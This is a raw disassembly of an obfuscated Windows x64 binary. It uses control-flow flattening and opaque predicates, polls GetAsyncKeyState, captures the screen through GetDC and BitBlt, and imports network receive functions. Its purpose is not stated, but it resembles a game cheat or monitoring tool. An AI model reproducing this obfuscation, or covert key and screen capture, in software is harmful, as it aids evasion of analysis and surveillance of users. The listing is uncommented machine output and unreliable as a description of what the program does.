mov ecx, 0x3dcc9b8b
cmovne eax, ecx
mov ecx, dword [rbp + 0x94]
mov dword [rbp + 0x100], ecx
jmp 0x140501b1d
cmp eax, 0x1bd987a9
je 0x14050bb10
cmp eax, 0x1d1a956f
je 0x14050bb24
cmp eax, 0x1d211598
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1604ae3f
mov ecx, 0xd97c47ae
jmp 0x140501b10
cmp eax, 0xd64e65f2
je 0x14050bb42
cmp eax, 0xd828ed0f
je 0x14050bb58
cmp eax, 0xd97c47ae
jne 0x140501b1d
cmp byte [rbp + 0x1b6], 0
mov eax, 0xc7505e76
mov ecx, 0xcc16a9bd
cmovne eax, ecx
jmp 0x140501b1d
cmp eax, 0x74b8b556
je 0x14050bb62
cmp eax, 0x74bbbf0c
jne 0x140501b1d
mov eax, 0xe5ca26be
jmp 0x140501b1d
cmp eax, 0xba8d8cb7
je 0x14050bb80
cmp eax, 0xbbd42798
jne 0x140501b1d
cvttss2si eax, dword [0x140b852f4]
mov dword [rbp + 0x1d0], eax
mov rax, qword [rbp + 0x78]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x82eafe90
mov ecx, 0xfdf2272
jmp 0x140501b10
cmp eax, 0x3b0bfc64
je 0x14050bb90
cmp eax, 0x3c0a64d2
jne 0x140501b1d
mov rax, qword [rbp - 0x38]
mov eax, 0x7f03bb4d
jmp 0x140501b1d
cmp eax, 0xfa85e187
je 0x14050bbae
cmp eax, 0xfbabc545
jne 0x140501b1d
mov dword [0x140b85044], 0
mov dword [0x140b85048], 0
mov eax, 0xa61f8b10
jmp 0x140501b1d
cmp eax, 0x585bf974
je 0x14050bbcc
cmp eax, 0x58a4dc0c
jne 0x140501b1d
mov rsi, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x68]
sub rsp, 0x20
call fcn.140408620
lea r11, [rbp + 0x338]
add rsp, 0x20
mov rax, qword [rsi]
mov qword [0x140b84fc8], rax
mov eax, 0x12e090a7
jmp 0x140501b1d
cmp eax, 0x91494190
je 0x14050bbe5
cmp eax, 0x933d3b38
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x68c9899f
mov ecx, 0xcc96f232
jmp 0x140501b10
cmp eax, 0x150b5cd5
je 0x14050bbef
cmp eax, 0x15172909
jne 0x140501b1d
cmp byte [rbp + 0x1be], 0
mov eax, 0x942059d4
mov ecx, 0xf1b36507
cmovne eax, ecx
jmp 0x140501b1d
cmp eax, 0xcfe3bd2f
je 0x14050bc0d
cmp eax, 0xd0616d9e
jne 0x140501b1d
mov eax, 0x663a5512
jmp 0x140501b1d
cmp eax, 0x6e7bfcae
je 0x14050bc2b
cmp eax, 0x6f05338e
jne 0x140501b1d
mov dword [0x140b8530c], 0xa2
mov eax, 0xf2c9f88e
jmp 0x140501b1d
cmp eax, 0xb21f7291
je 0x14050bc3c
cmp eax, 0xb2a05cc6
jne 0x140501b1d
mov eax, 0x15f57494
jmp 0x140501b1d
cmp eax, 0x34e7fa80
je 0x14050bcfe
cmp eax, 0x34fe9fa8
jne 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6f05338e
mov ecx, 0xf2c9f88e
jmp 0x140501b10
cmp eax, 0xf619818b
je 0x14050bd17
cmp eax, 0xf64db9a8
jne 0x140501b1d
mov eax, 0xb61eb491
jmp 0x140501b1d
cmp eax, 0x5289457e
je 0x14050bd2d
cmp eax, 0x52f594d9
jne 0x140501b1d
mov al, byte [rbp + 0x29c]
mov byte [rbp + 0x2a8], al
mov eax, 0x3444a64c
jmp 0x140501b1d
cmp eax, 0xa3d07947
je 0x14050bd37
cmp eax, 0xa40afb38
jne 0x140501b1d
cmp byte [rbp + 0x1c7], 0
mov eax, 0xe10d0d3a
mov ecx, 0x79367967
cmovne eax, ecx
jmp 0x140501b1d
cmp eax, 0x24051019
je 0x14050bd55
cmp eax, 0x25389edf
jne 0x140501b1d
mov byte [0x140b84c78], 0
mov eax, 0xe78e1ff0
jmp 0x140501b1d
cmp eax, 0xe5ca26be
je 0x14050bd5f
cmp eax, 0xe60fc560
jne 0x140501b1d
mov al, byte [rbp + 0x2a5]
mov byte [rbp + 0x2e2], al
test byte [rbp + 0x2e2], 1
mov eax, 0xd9c724a8
mov ecx, 0xe2346735
cmove eax, ecx
jmp 0x140501b1d
cmp eax, 0x7cc6cb2f
je 0x14050bd7d
cmp eax, 0x7f03bb4d
jne 0x140501b1d
mov eax, 0xe10d0d3a
jmp 0x140501b1d
cmp eax, 0xc0665e9c
je 0x14050bd96
cmp eax, 0xc0d7b257
jne 0x140501b1d
mov eax, dword [rbp + 0x1d4]
cmp eax, 5
mov eax, 0xf6dba19d
mov ecx, 0x8817f979
cmove eax, ecx
jmp 0x140501b1d
cmp eax, 0x414935e8
je 0x14050bda0
cmp eax, 0x415d8130
jne 0x140501b1d
cmp byte [rbp + 0x1b9], 0
mov eax, 0xe60fc560
mov ecx, 0x68a284a2
cmovne eax, ecx
mov cl, byte [rbp + 0x297]
mov byte [rbp + 0x2a5], cl
jmp 0x140501b1d
cmp eax, 0x587b260
je 0x14050bdbf
cmp eax, 0x69406fa
jne 0x140501b1d
mov eax, 0x15f57494
jmp 0x140501b1d
cmp eax, 0x5952f2d8
jne 0x140511f71
mov eax, 0xc7505e76
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x74bbbf0c
mov ecx, 0xe5ca26be
jmp 0x140501b10
mov dword [0x140b8530c], 2
mov eax, 0x97aa9ca7
jmp 0x140501b1d
mov eax, dword [rbp + 0xac]
mov dword [rbp + 0x270], eax
mov al, byte [rbp + 0x2a7]
mov byte [rbp + 0x298], al
mov eax, dword [rbp + 0x270]
cmp eax, 0x14
mov eax, 0x5cd34cf2
mov ecx, 0x342a9d52
cmovl eax, ecx
jmp 0x140501b1d
mov rax, qword [rbp - 0x58]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, [0x140b85038]
call fcn.1404fbd00
add rsp, 0x20
mov eax, dword [0x140b86d00]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140b86d04], 0xa
setl cl
or cl, al
mov esi, 0x9d494a93
mov eax, 0xb72ca808
cmovne esi, eax
movss xmm0, dword [0x140b85038]
mov edi, 0x9d494a93
mov eax, 0xed03f61f
cmovne edi, eax
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0x6742093e
nop word cs:[rax + rax]
nop
cmp eax, 0xed03f61e
jle 0x140507a00
cmp eax, 0xed03f61f
je 0x140507a13
cmp eax, 0x6742093e
je 0x140507a17
cmp eax, 0x5bb003bf
jne 0x1405079e0
mov eax, edi
jmp 0x1405079e0
cmp eax, 0x9d494a93
je 0x140507a1e
cmp eax, 0xb72ca808
jne 0x1405079e0
jmp 0x14050bddd
mov eax, esi
jmp 0x1405079e0
mov eax, 0x5bb003bf
jmp 0x1405079e0
mov eax, 0xed03f61f
jmp 0x1405079e0
mov al, byte [0x140b852d8]
mov byte [rbp + 0x2a3], al
mov eax, 0x9097e674
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcc87af1
mov ecx, 0xbc193fff
jmp 0x140501b10
xorps xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 4]
xorps xmm1, xmm1
cvtsi2ss xmm1, dword [0x140b85044]
mov rax, qword [rbp + 0x118]
mov qword [rbp + 0x330], rax
mov ecx, 0x605a802c
nop
cmp ecx, 0x2a2c56cc
jle 0x140507ac0
cmp ecx, 0x2a2c56cd
je 0x140507aeb
cmp ecx, 0x4fa2e476
je 0x14050be65
cmp ecx, 0x605a802c
jne 0x140507a80
mov rcx, qword [rbp + 0x330]
movss dword [rcx], xmm1
movss dword [rax + 4], xmm0
mov ecx, 0xae3a98b5
jmp 0x140507a80
cmp ecx, 0xae3a98b5
je 0x140507af2
cmp ecx, 0xf1c00c70
jne 0x140507a80
mov ecx, dword [0x140b7e450]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x2a2c56cd
mov edx, 0x4fa2e476
jmp 0x140507b0b
mov ecx, 0xf1c00c70
jmp 0x140507a80
mov ecx, dword [0x140b7e450]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov ecx, 0x2a2c56cd
mov edx, 0xf1c00c70
cmove ecx, edx
cmp dword [0x140b7e454], 0xa
cmovl ecx, edx
jmp 0x140507a80
movss dword [rbp + 0x330], xmm0
cvttss2si eax, dword [rbp + 0x330]
mov dword [rbp + 0x98], eax
movss xmm0, dword [0x140b8503c]
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
mov eax, 0x6742093e
lea r11, [rbp + 0x338]
nop word cs:[rax + rax]
nop
cmp eax, 0xed03f61e
jle 0x140507b80
cmp eax, 0xed03f61f
je 0x140507b93
cmp eax, 0x6742093e
je 0x140507b97
cmp eax, 0x5bb003bf
jne 0x140507b60
mov eax, edi
jmp 0x140507b60
cmp eax, 0x9d494a93
je 0x140507b9e
cmp eax, 0xb72ca808
jne 0x140507b60
jmp 0x14050be85
mov eax, esi
jmp 0x140507b60
mov eax, 0x5bb003bf
jmp 0x140507b60
mov eax, 0xed03f61f
jmp 0x140507b60
cmp byte [rbp + 0x1c4], 0
mov eax, 0xc00e1a4d
mov ecx, 0xacf97436
cmovne eax, ecx
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1b4e6ae6
mov ecx, 0x4a4145b2
jmp 0x140501b10
mov ecx, dword [0x140b8530c]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea r11, [rbp + 0x338]
add rsp, 0x20
mov dword [rbp + 0x1c], 0
mov eax, 0x6f690742
jmp 0x140501b1d
mov eax, dword [rbp + 0xf0]
lea eax, [rax + rax*4]
add eax, dword [rbp + 0x270]
shl eax, 2
cdqe
mov qword [rbp - 0x70], rax
mov eax, 0xe91c89bc
jmp 0x140501b1d
mov edx, dword [rbp + 0xa4]
mov r8d, dword [rbp + 0x8c]
sub rsp, 0x20
lea rcx, [0x140b84b98]
call fcn.1404ff560
lea r11, [rbp + 0x338]
add rsp, 0x20
mov eax, 0xf64db9a8
jmp 0x140501b1d
mov eax, dword [rbp + 0x1d4]
cmp eax, 2
mov eax, 0x5cdf942c
mov ecx, 0x228540d9
cmovl eax, ecx
jmp 0x140501b1d
mov al, byte [rbp + 0x2ff]
mov eax, 0x25eddea
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd1e99ca7
mov ecx, 0x6467da73
jmp 0x140501b10
mov eax, dword [rbp + 0x94]
mov dword [rbp + 0x100], eax
mov eax, 0x3dcc9b8b
jmp 0x140501b1d
mov eax, dword [rbp + 0x84]
mov eax, 0xb0801f83
jmp 0x140501b1d
cmp byte [0x140b852da], 0
setne byte [rbp + 0x1be]
mov eax, 0x73f9dcba
jmp 0x140501b1d
mov dword [rbp + 0x108], 0
mov dword [rbp + 0xc8], 0
mov eax, 0xd2f1a7a5
jmp 0x140501b1d
mov eax, 0x82d8b3ab
jmp 0x140501b1d
mov eax, 0x59dc35c1
jmp 0x140501b1d
mov eax, reloc.WS2_32.dll_recv
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x68], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x50], rax
mov eax, 0x3c2001aa
jmp 0x140501b1d
mov rax, qword [rbp + 0x78]
mov eax, 0xbbd42798
jmp 0x140501b1d
mov eax, dword [rbp + 0x10]
mov dword [rbp + 0xcc], eax
mov al, byte [rbp + 0x2e3]
mov qword [rbp + 0x60], rax
mov eax, 0x67e5e1c1
jmp 0x140501b1d
mov ecx, dword [0x140b85310]
sub rsp, 0x20
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea r11, [rbp + 0x338]
add rsp, 0x20
mov eax, 0x8886da92
jmp 0x140501b1d
mov dword [0x140b85328], 6
mov eax, 0x194f8d9c
jmp 0x140501b1d
mov eax, 0x663a5512
jmp 0x140501b1d
movabs rax, 0x200000001
mov qword [0x140b85324], rax
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x8f832412
mov ecx, 0x7588d8e8
jmp 0x140501b10
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4775c3b1
mov ecx, 0xc03b07ed
jmp 0x140501b10
mov eax, 0xa029699d
jmp 0x140501b1d
mov dword [0x140b85310], 6
mov eax, 0xfa4f786e
jmp 0x140501b1d
mov al, byte [rbp + 0x29f]
mov byte [rbp + 0x2ad], al
mov eax, 0x487a41ab
jmp 0x140501b1d
mov eax, 0x5953ccf4
jmp 0x140501b1d
test r8b, 1
mov eax, 0xafec0e3a
mov ecx, 0x5833b649
jmp 0x140511417
movsxd rax, dword [rbp + 0x18]
lea rcx, [0x140b85050]
mov qword [rbp + 0x358], rcx
mov ecx, dword [0x140b86d48]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x140b86d4c], 0xa
setl dl
or dl, cl
mov ebx, 0xf56703e7
mov ecx, 0x43f5c295
cmovne ebx, ecx
mov edx, 0xf56703e7
mov ecx, 0xd435c381
cmovne edx, ecx
mov ecx, 0xe88a2a9d
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0xe88a2a9c
jle 0x140507ee0
cmp ecx, 0xe88a2a9d
je 0x140507f0c
cmp ecx, 0xf56703e7
je 0x140507f10
cmp ecx, 0x43f5c295
jne 0x140507eb0
mov ecx, 0x820603c9
jmp 0x140507eb0
cmp ecx, 0x820603c9
je 0x14050beb4
cmp ecx, 0xd435c381
jne 0x140507eb0
mov rcx, qword [rbp + 0x358]
mov rcx, qword [rcx]
add rcx, rax
mov qword [rbp + 0x330], rcx
mov ecx, ebx
jmp 0x140507eb0
mov ecx, edx
jmp 0x140507eb0
mov rcx, qword [rbp + 0x358]
mov ecx, 0xd435c381
jmp 0x140507eb0
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x37305506
mov ecx, 0xed33ab5a
jmp 0x140501b10
mov eax, 0x4bb75cd5
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7c99d76
mov ecx, 0x8a940594
jmp 0x140501b10
mov byte [0x140b84c78], 0
mov eax, 0xd0d7a208
jmp 0x140501b1d
cmp byte [rbp + 0x1c3], 0
mov eax, 0x5289457e
mov ecx, 0x1e78054a
cmovne eax, ecx
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf7971221
mov ecx, 0xaaaf77a
jmp 0x140501b10
mov eax, 0x1d211598
jmp 0x140501b1d
mov rax, qword [rbp + 0xd0]
mov rax, qword [rax]
mov qword [0x140b85038], rax
mov rax, qword [rbp + 0xd0]
mov byte [0x140b84c78], 0
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4b2bd93e
mov ecx, 0x2637ed4c
jmp 0x140501b10
mov rax, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x20]
mov qword [rbp + 0x330], rcx
mov edx, 0x605a802c
nop word [rax + rax]
cmp edx, 0x2a2c56cc
jle 0x140508050
cmp edx, 0x2a2c56cd
je 0x14050807b
cmp edx, 0x4fa2e476
je 0x14050d7dd
cmp edx, 0x605a802c
jne 0x140508010
mov rdx, qword [rbp + 0x330]
mov dword [rdx], 0
mov dword [rcx + 4], 0
mov edx, 0xae3a98b5
jmp 0x140508010
cmp edx, 0xae3a98b5
je 0x140508082
cmp edx, 0xf1c00c70
jne 0x140508010
mov edx, dword [0x140b7e450]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x2a2c56cd
mov ebx, 0x4fa2e476
jmp 0x14050809b
mov edx, 0xf1c00c70
jmp 0x140508010
mov edx, dword [0x140b7e450]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x2a2c56cd
mov ebx, 0xf1c00c70
cmove edx, ebx
cmp dword [0x140b7e454], 0xa
cmovl edx, ebx
jmp 0x140508010
cmp dword [rbp + 0x1c], 0
mov eax, 0x25389edf
mov ecx, 0xf619818b
cmove eax, ecx
jmp 0x140501b1d
mov eax, dword [rbp + 0x1d8]
cmp eax, 5
mov eax, 0x8364f71c
mov ecx, 0x34fe9fa8
cmovl eax, ecx
jmp 0x140501b1d
xor r8d, r8d
sub r8d, dword [rbp + 0xf4]
xor edx, edx
sub edx, dword [rbp + 0xf8]
sub rsp, 0x20
lea rcx, [0x140b84b98]
call fcn.1404ff560
lea r11, [rbp + 0x338]
add rsp, 0x20
mov byte [0x140b84c78], 1
mov eax, 0x2314cb00
jmp 0x140501b1d
mov eax, 0xbd5a49c1
jmp 0x140501b1d
mov al, byte [rbp + 0x29b]
mov byte [rbp + 0x2a9], al
mov eax, 0x3ce27dc0
jmp 0x140501b1d
mov eax, 0x85d53f17
jmp 0x140501b1d
mov eax, 0xc49f33d3
jmp 0x140501b1d
mov rax, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xd8]
mov eax, 0x62491ecd
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x62491ecd
je 0x140508183
cmp eax, 0x9b9dc05c
jne 0x140508170
jmp 0x14050d7f1
mov eax, 0x9b9dc05c
jmp 0x140508170
mov dword [0x140b85310], 2
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x10a8bb2a
mov ecx, 0xc89af085
jmp 0x140501b10
cmp dword [0x140b74c10], 0xffffffff
setne byte [rbp + 0x1b6]
mov eax, 0xa3d07947
jmp 0x140501b1d
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x330], r15
mov rax, qword [rbp + 0x330]
mov rsp, qword [rbp + 0x160]
sub rsp, 0x20
mov ecx, 1
call rax
lea r11, [rbp + 0x338]
add rsp, 0x20
mov eax, 0xe065b19e
jmp 0x140501b1d
mov al, byte [rbp + 0x2a1]
and al, 1
mov byte [rbp + 0x1c0], al
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xba8d8cb7
mov ecx, 0x33c71237
jmp 0x140501b10
mov byte [0x140b85031], 1
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7c99d76
mov ecx, 0x59806cea
jmp 0x140501b10
mov eax, 0xca3f76af
jmp 0x140501b1d
mov dword [0x140b85328], 2
mov eax, 0xa95c5f45
jmp 0x140501b1d
mov eax, 0xb2a05cc6
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x557d70b8
mov ecx, 0xe065b19e
jmp 0x140501b10
mov r14, rsp
mov eax, esi
shr eax, 0x1f
add eax, esi
mov ecx, ebx
shr ecx, 0x1f
add ecx, ebx
sar eax, 1
sar ecx, 1
mov dword [rdx], ecx
mov dword [rdx + 4], eax
mov dword [rdx + 8], r8d
mov dword [rdx + 0xc], r8d
mov r15, qword [rbp + 0x78]
mov eax, dword [0x140b86d50]
mov ecx, dword [0x140b86d54]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp + 0x288]
cmp ecx, 0xa
setl byte [rbp + 0x268]
mov eax, 0x4500f030
jmp 0x140508316
mov eax, dword [0x140b86d50]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc4752761
mov ecx, 0x593cb922
cmove eax, ecx
cmp dword [0x140b86d54], 0xa
cmovl eax, ecx
cmp eax, 0x1c1c4e6f
jle 0x140508370
cmp eax, 0x4500f02f
jle 0x1405083a0
cmp eax, 0x4500f030
je 0x14050848e
cmp eax, 0x593cb922
jne 0x140508501
mov rax, qword [rbp + 0x340]
mov qword [rbp + 0x350], rax
mov eax, dword [0x140b86d50]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc4752761
mov ecx, 0xb1487cd5
jmp 0x140508309
cmp eax, 0xf1341a8f
jg 0x1405083c0
cmp eax, 0xb1487cd5
je 0x1405084b3
cmp eax, 0xc4752761
jne 0x140508316
mov rax, qword [rbp + 0x340]
mov eax, 0x593cb922
jmp 0x140508316
cmp eax, 0x1c1c4e70
je 0x1405082f0
cmp eax, 0x2735bb15
jne 0x140508316
mov eax, 0x1c1c4e70
jmp 0x140508316
cmp eax, 0xf1341a90
je 0x1405084bd
cmp eax, 0xfbf04023
jne 0x140508316
mov eax, Ordinal_50
call fcn.1406ad960
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x308], rax
mov eax, dword [r15 + 8]
mov dword [rbp + 0x2d0], eax
mov eax, dword [r15 + 0xc]
mov dword [rbp + 0x2e8], eax
mov eax, dword [r15]
mov dword [rbp + 0x280], eax
mov eax, dword [r15 + 4]
mov dword [rbp + 0x278], eax
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
add rsp, 0x20
mov qword [rbp + 0x310], rax
mov rcx, qword [rbp + 0x310]
sub rsp, 0x20
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
add rsp, 0x20
mov qword [rbp + 0x328], rax
mov edx, dword [rbp + 0x2d0]
mov r8d, dword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x310]
sub rsp, 0x20
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
add rsp, 0x20
mov qword [rbp + 0x340], rax
mov eax, dword [0x140b86d50]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf1341a90
mov ecx, 0x2735bb15
jmp 0x140508309
movzx ecx, byte [rbp + 0x288]
cmp byte [rbp + 0x268], 0
mov eax, 0xf1341a90
mov edx, 0xfbf04023
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x140508316
mov eax, 0x7eab2577
jmp 0x140508316
mov esi, dword [r15 + 8]
mov edi, dword [r15 + 0xc]
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov rcx, rbx
mov edx, esi
mov r8d, edi
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
add rsp, 0x20
mov eax, 0xfbf04023
jmp 0x140508316
cmp eax, 0x7eab2577
jne 0x140508316
mov rcx, qword [rbp + 0x328]
mov rdx, qword [rbp + 0x350]
sub rsp, 0x20
call qword [sym.imp.GDI32.dll_SelectObject]
add rsp, 0x20
mov rsi, rax
mov r9d, dword [rbp + 0x2d0]
mov eax, dword [rbp + 0x2e8]
mov edx, dword [rbp + 0x280]
mov ebx, dword [rbp + 0x278]
mov rdi, qword [rbp + 0x310]
mov rcx, qword [rbp + 0x328]
sub rsp, 0x50
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x40], 0xcc0020
xor edx, edx
xor r8d, r8d
call qword [sym.imp.GDI32.dll_BitBlt]
add rsp, 0x50
mov rax, qword [rbp + 0x308]
movups xmmword [rax], xmm7
movups xmmword [rax + 0x10], xmm7
mov qword [rax + 0x20], 0
mov rax, qword [rbp + 0x308]
mov dword [rax], Ordinal_41
mov rax, qword [rbp + 0x308]
mov word [rax + 0xc], 1
mov rax, qword [rbp + 0x308]
mov word [rax + 0xe], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [rbp + 0x308]
mov ecx, dword [rbp + 0x2d0]
mov dword [rax + 4], ecx
xor eax, eax
sub eax, dword [rbp + 0x2e8]
mov rcx, qword [rbp + 0x308]
mov dword [rcx + 8], eax
mov rax, qword [rbp + 0x308]
mov dword [rax + 0x10], 0
mov rax, qword [rbp + 0x308]
mov dword [rax + 0x14], 0
movsxd rax, dword [rbp + 0x2d0]
movsxd rdi, dword [rbp + 0x2e8]
imul rdi, rax
shl rdi, 2
mov eax, 0xaa15de3c
nop word cs:[rax + rax]
nop
cmp eax, 0xc7200a18
jle 0x140508690
cmp eax, 0xc7200a19
je 0x1405086a8
cmp eax, 0x9cf04b3
je 0x14050d84a
cmp eax, 0x3b8e3028
jne 0x140508620
lea r8, [rbp + 0x260]
mov qword [rbp + 0x330], r8
mov rax, qword [rbp + 0x330]
sub rsp, 0x20
lea rcx, [0x140b85050]
mov rdx, rdi
call fcn.140651120
add rsp, 0x20
mov eax, dword [0x140b86d58]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc7200a19
mov ecx, 0xb9d304dd
jmp 0x1405086e9
cmp eax, 0xaa15de3c
je 0x1405086d0
cmp eax, 0xb9d304dd
jne 0x140508620
mov eax, 0x9cf04b3
jmp 0x140508620
sub rsp, 0x20
lea rcx, [0x140b85050]
mov rdx, rdi
lea r8, [rbp + 0x260]
call fcn.140651120
add rsp, 0x20
mov eax, 0x3b8e3028
jmp 0x140508620
mov eax, dword [0x140b86d58]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc7200a19
mov ecx, 0x3b8e3028
cmove eax, ecx
cmp dword [0x140b86d5c], 0xa
cmovl eax, ecx
jmp 0x140508620
mov rax, qword [rbp - 0x60]
mov eax, 0xba7febdc
jmp 0x140501b1d
mov eax, 0x868bb142
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xac47fce1
mov ecx, 0x73b9080e
jmp 0x140501b10
mov eax, dword [rbp + 0x1d4]
cmp eax, 4
mov eax, 0x3286877a
mov ecx, 0xa444479d
cmovl eax, ecx
jmp 0x140501b1d
mov eax, 0x98be42cb
jmp 0x140501b1d
mov eax, 0x7091a52a
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xafd7f7f5
mov ecx, 0x1db7d26f
jmp 0x140501b10
sub rsp, 0x20
call fcn.1404fdca0
call fcn.1404ff830
lea r11, [rbp + 0x338]
add rsp, 0x20
mov eax, 0x5953ccf4
jmp 0x140501b1d
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x18d8527d
mov ecx, 0x9effd241
jmp 0x140501b10
mov al, byte [rbp + 0x2a2]
and al, 1
mov byte [rbp + 0x1c2], al
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3076583e
mov ecx, 0x8d3d424b
jmp 0x140501b10
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9ff1ed90
mov ecx, 0x571a57ba
jmp 0x140501b10
mov eax, 0x5e1d0324
jmp 0x140501b1d
mov eax, 0xdd6d977e
jmp 0x140501b1d
mov eax, 0x339aa390
jmp 0x140501b1d
mov al, byte [rbp + 0x2e2]
jmp 0x140509afb
mov rax, qword [rbp + 0x118]
add rax, 4
mov qword [rbp - 0x78], rax
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6e7bfcae
mov ecx, 0x35b7d155
jmp 0x140501b10
movss xmm0, dword [0x140b852f8]
cvtss2sd xmm0, xmm0
mulsd xmm0, xmm10
cmp byte [0x140b852db], 0
addsd xmm0, xmm12
je 0x140508883
movapd xmm0, xmm11
movsd qword [rbp - 0x50], xmm0
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe9c08312
mov ecx, 0xbd276567
jmp 0x140501b10
mov eax, 0xa4be08f3
jmp 0x140501b1d
mov rsi, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x18]
sub rsp, 0x20
call fcn.140408620
add rsp, 0x20
mov rax, qword [rsi]
mov qword [0x140b84fc0], rax
mov rax, qword [rbp + 0x118]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, [0x140b85038]
call fcn.1404fa940
lea r11, [rbp + 0x338]
add rsp, 0x20
mov eax, 0x1500643c
jmp 0x140501b1d
mov al, byte [rbp + 0x2a3]
and al, 1
mov byte [rbp + 0x1c4], al
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xcc87af1
mov ecx, 0xcda81906
jmp 0x140501b10
mov eax, dword [0x140b86d30]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd5f35ab6
mov ecx, 0xaccf8945
jmp 0x140501b10
mov eax, dword [rbp + 0x104]
mov dword [rbp + 0x8c], eax
mov eax, dword [rbp + 0xa4]
or eax, dword [rbp + 0x8c]
mov eax, 0xb61eb491
mov ecx, 0xf416f9cf
cmovne eax, ecx
jmp 0x140501b1d
mov eax, dword [rbp + 0x114]
cmp eax, 2
